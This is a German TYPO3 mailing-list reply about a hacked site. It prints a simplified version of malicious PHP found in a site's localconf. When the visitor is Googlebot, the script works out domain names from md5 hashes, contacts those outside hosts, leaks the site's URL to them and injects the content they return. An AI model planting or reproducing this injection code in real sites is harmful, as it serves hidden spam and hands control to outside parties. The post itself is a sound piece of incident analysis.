[TYPO3-german] Security Problem

[Leonhard Wimmer]

Hallo,

On Thu, 2009-06-04 at 13:50 +0200, Thomas Roediger wrote: 
> In der localconf konnte eine Zeile ausfindig gemacht werden, die
> vermutlich dafür verantwortlich ist.

hier ist mal eine vereinfachte Version des Skripts:

if(strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {
 for($i=458567;$i<458575;$i++) {
  $url = substr(md5($i), 0, 16) . '.info';
  $socket=fsockopen($url, 80);
  if(!$socket) 
   continue;
  fputs($socket, 'GET /9dddf2a4f7d94594ec2ea98407a410e1 HTTP/1.1'."\r
\n".'Host: '.$url."\r\n".'Referer: http://'. $_SERVER['SERVER_NAME'] .
$_SERVER['REQUEST_URI']."\r\n\r\n");
  $j=0;
  while($k = fgets($socket, 1024)) {
   if($j) {
    if(strstr($k,'-----')){
     break;
    }
    echo($k); 
   }
   if(strstr($k,'-----')) {
    $j=1;
    continue;
   }
  }
  if($j)
   break;
 }
}

lg, Leo